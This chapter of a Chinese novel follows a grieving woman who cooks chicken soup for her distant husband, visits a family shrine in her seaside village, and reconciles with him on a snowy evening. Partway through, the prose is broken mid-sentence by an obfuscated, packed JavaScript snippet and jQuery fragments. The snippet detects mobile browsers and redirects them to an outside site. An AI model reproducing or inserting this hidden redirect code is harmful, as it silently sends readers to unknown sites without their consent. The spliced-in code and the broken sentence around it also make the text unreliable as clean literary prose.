在孤独的沿海公路上
海水冲刷着信仰
—2018年.12月《吴裳随记》
吴裳又做了那个梦。
无边无际的海面上,繁星坠入其中。海浪拍打着她的脚面和小腿,寒意缓缓升起,一直蔓延到四肢。她只顾抬头寻找月亮,天空却突然空无一物,变成无边无际的黑幕,压在了她的头顶。当她反应过来的时候,她的身体已经变成冰凉的雕塑,任她如何挣扎,都无法动了。
她惊悸地从梦中醒来,猛烈吸了口气,有了死而复生之感。愣了片刻才想起厨房的砂锅里还炖着一只鸡。林在堂清早出门前念了一句:这个鬼天气,如果能有一碗鸡汤面就好了。本是说者无意,吴裳却在他出门后开车去了乡下,抓了一只鸡回来,准备晚上就让他吃到那碗他随意提起的鸡汤面。
吴裳的鸡汤面清淡营养。
清理好的鸡块放进砂锅里小火煮几个小时,待汤完全入了味,再捞出鸡块来,将面放进去。煮熟了捞出,最后烫两片青菜。小火慢炖的鸡汤,清淡的“鸡块浇头”,淋两滴香油,再淋半勺醋,就是林在堂的心头好。
电话响的时候,吴裳正在向鸡汤里撒盐,少量的盐。蒸汽打湿她衣袖上套着的丧袖套上,她的目光在上面停留了片刻,方才接起电话。电话是林在堂打来的,他要吴裳晚上跟他一起回父母那里吃饭,并叮嘱吴裳将储藏间里的典藏茶礼带上。他的姑姑和姑父从国外回来了。
“要么你先回家吃碗面呢?”吴裳说:“我给你做了鸡汤面。”她知道林在堂跟她一样不喜欢家里的聚会,因为总是没完没了地奉承,长幼有序数不完的规矩,毕恭毕敬地应答和微笑,还有华而不实的精致的菜肴。每次聚会回来,林在堂总要重新吃一点东西,不然他会觉得自己的灵魂随着那一杯又一杯的热茶被灌进了他的肠胃,满则满矣,但一泡尿下去就消失了。
电话那边的林在堂好像有点忙,吴裳听到他的衣袖在桌面摩擦出来的轻微声响,应该是在测试新品的使用。过了几秒他才回:“不了,直接去吧,到家再说。另外…”林在堂又被什么打断,吴裳耐心等着,终于听到他说:“你快要排卵期了是吗?”
“是。”
“那我知道了。”
林在堂挂断电话,留吴裳一个人发呆。结婚五年,他从没关心过这个问题。或许是他家里人又开始催,让林在堂心生了动摇,这令吴裳心烦意乱。
去林在堂父母那里吃饭是个大工程,吴裳画了个淡妆,穿一件珍珠扣子的衬衫。又将丧套套在手臂上,外面罩一件遮臀的对襟小袄。林在堂的家人始终很传统,偏爱她这样打扮。婆婆阮春桂也因此夸过她两句,说她这般模样坐在小桥流水的庭院里泡茶,也真是应了良辰美景。吴裳听进去了,自此备了好些这样的衣服,尽显“百年林府”的底蕴。
好友宋景给她发来消息,语气十分夸张:“他们说的是真的?林在堂?出轨了?”
“没有。”吴裳回:“见面说。”林在堂出轨与否吴裳不太关心,眼下她只关心自己的睡眠。时常将睡将醒,快要了她的命。
灶台关了火,凉置下来的鸡汤上面飘着小小一层油花。吴裳看着那油花半晌,下了某种决心似的,终于又开了火,再脱掉对襟小袄丢到厨房外面,从冰箱里拿出细细的素面来。这是从前外婆做的,银丝一样,烫三十秒即熟。她夹了一筷头放到滚烫着热气的砂锅里,再迅速捞出来,用小碗接着,直接送到嘴里。就这样一口一口,自己吃饱了,也不枉她折腾这多半天。
出门的时候时间尚早,外面雾蒙蒙、湿漉漉的,好像要下雪。海洲不常下雪的。几年赶那么一场,寥寥几片雪飘下来,不等落到地上就化了。只有海边的岩石交缝里能剩一些。这地方一切的景致、人,都像这雪一样,是敛着的。
吴裳看了看天气,决定先回趟千溪乡下家里。
车驶上沿海公路,沿着山脚转弯,路面湿了一大片。而不远处的海水还在没命地向岸边冲。吴裳知道此时这条公路是寂静的,倘若海浪卷走她或者她的车,大概要很久后才能被人发现了。她不知自己为何会有如此臆想,她甚至觉得那样或许也不错。平白消失在人间,留一段谈资供人茶余饭后消遣。转念一想,她留下的谈资已经足够多,不需要这一段了。
再走三十公里,拐进岔道,走一条僻静的乡路,最后进了千溪。千溪的由来带着神话色彩,相传上万年前,这里接连无数条小溪。农人种菱种稻种荷花,日子好不逍遥。吴裳记忆里的千溪哪有这样的光景,觉得村里的老人在骗人。
吴裳的家就在千溪村的尽头,一栋孤独的、陈旧的、干净的小二楼,院子里种满了花。落了叶子的藤蔓爬满了院墙,一只小狗在门口发呆。看到车来了,耳朵先竖起,紧接着站起来。
她停好车,手机亮了一下,看到林在堂的消息。他说:晚上家庭聚会取消了。我回家吃饭。
吴裳松了口气,并没多问,也没有回他消息。她近来对很多事都恹恹的。
小狗见她回家迎上前摇着尾巴,吴裳从包里拿出煮好的一块肉放到它嘴里,又摸了摸它,这才进家门。屋里黑着灯,人不知去了哪里。吴裳走进里面的房间,给黑相框里的人鞠了个躬,又上了炷香。照片里的人生着一副江南的脸孔,仔细看,嘴角还带着微微的笑意。
“今天走到哪啦?”吴裳对着照片说话:“路好不好走呀?外面好像要下雪了,当心些。”她不觉得这样有什么奇怪,话一旦开了头,就堵不住。索性拿过一个蒲团坐上去,又东一句西一句说了一阵。说的都是小事,尽管琐碎,却是一句林在堂没有提。
说够了,就拍拍屁股站起来。想着打个电话问家里人去了哪里,但那头响着忙音,不知在忙什么。
林家的家庭聚会取消了,她可以在家里多呆一会儿。上了二楼,去到自己的房间里。那房间多少年没有变过模样,就连她当年用过的那支油尽了的签字笔还插在笔筒里。
她将电暖器打开,和衣躺在被子上。原本只是想闭眼睛打个盹儿,却不知不觉睡着了。静音的手机亮了几次,乖巧的小狗叫了几声,她都没听见。等她睁眼时,已经是傍晚了。
外面下起了雪。
窗子的木格上积了薄薄细细一条白,向外看,院子里的黄绿叶子都垂下去,卷曲的叶尖儿叶挂着一点白。想到回去的沿海公路路面湿滑可能不好开,顿时无心赏景,只在楼下木桌上留下一张字条,便匆匆向外走。
留字条也是多年的习惯,在那个电流声极大的冰箱旁边放着一个四方木盒子,盒子盖一抽,就是多少年来家里人留的便条。在这个家里,人人都不舍得丢东西,就连这样的小零碎也会被整齐收起来。
小狗跟在她身后,她开车门的时候它又摇尾巴。说是小狗,其实早已垂垂老矣,多少年了体型长不大,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15483260|170051||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
但性情温和。像极了吴裳家里的每一个人。
“我过两天还回来呢。”她说,蹲下身去摸摸它。
小狗一直站在那目送她。林在堂都没这样目送过她。吴裳突然这样想。林在堂还不如狗。
狗都不如的林在堂难得回家早,进院门看到院子里的灯带亮着,而那栋小楼漆黑着。小雪还在下,地上铺了薄薄一层。海洲难得下雪,下雪了也难得积雪,积雪了也不会过夜。只是这样的光景实在阴冷,林在堂不喜欢。
吴裳不在,家里更显冷清。他坐在茶桌前泡茶,看了眼手机:吴裳不接电话,也不回消息。这样的事情也很罕见,林在堂认为她或许是遇到了什么麻烦。所以当吴裳平静地推开家门的时候,他的焦急还没有完全退却。
可惜的是他不会发火,只兀自生着闷气,跟面前的茶碗较劲,来来回回洗了四五次茶。
吴裳就站那看他。
灯下的林在堂有一种说不出的美感。不同于多数海洲的男人,他的面皮透亮,唇红齿白。脸上架着一副金丝框的眼镜,并不尽然像个商人,相貌过于儒气了。但看人的时候冷清清的,时常带着审视。
譬如此刻。他又抬起头看她,似乎是想问吴裳去了哪里,或许又觉得这等小事实在不值得他开口,所以就用沉默来替代不满。
林在堂从前也不是这样的人,大概是生意做久了,就觉得人心都很差。连带着对枕边人也冷淡起来。
吴裳和和气气一个人,总是带着笑模样。起初也是因为那一身暖洋洋的感觉才入了林在堂的眼。现在她偏不说话,脱掉那一件禁锢她的斜襟盘扣小袄搭在林在堂茶桌前面那把木椅上。又在林在堂的注视下缓缓脱掉腿上那一条透肤丝袜。
瞬间舒服了,轻轻舒口气,捏起林在堂的小茶杯喝茶,膝盖碰碰他的,而后在他腿上挤了个位置,侧坐上去,面对着那面巨大的落地窗。头靠在他肩膀,蹭了蹭。这是夫妻几年练就的默契,代表她低头哄他,他如若接受,就给她些反馈。类似于这会儿,他将吴裳的手机精准丢到沙发上,说:“要是不接电话,不如扔了算了。”
他消气了。他从不跟吴裳生大气,或许是因为不值得。夫妻两个没真正红过脸,大多是这样,持续不了几分钟就都各自消解了。
“下雪了。”她轻声说:“海州的雪,罕见的雪。刚落在我脖子里,丝丝地凉。”说完扯着林在堂的手贴在她脖颈上,而她又向他怀里靠一些,希望林在堂能抱抱她。
他却有了异动,呼吸乱了一下,手臂收紧,腾出一只手去解她的珍珠扣子。珍珠被她的体温焐得温热,他手指灵活,一挑就是一颗。她却将他按回去:“不行。人走还不到30天。做这种事背时运的。”
这是吴裳亲人去世的当天,婆婆阮春桂特意叮嘱林在堂的。好巧不巧落进了吴裳耳中。她知道林家经商礼佛,偏信一些东西。但那一天她悲痛欲绝,脸上横流的泪水还没干,阮春桂想的却是这个。
“我给你炖了鸡汤。”吴裳的脸贴着林在堂脸颊蹭了蹭:“你早上说要吃鸡汤面的。”
“我随口一说。”
“我可不是随意一听。”
外面的雪在蔌蔌地下,砂锅里的鸡汤还冒着热气。玻璃上冷热交替凝结的水珠儿滚落下来,外面那棵桂树像要哭了似的,偶尔落下一个小雪块儿。
海州多少年没这样下过雪了?
八年。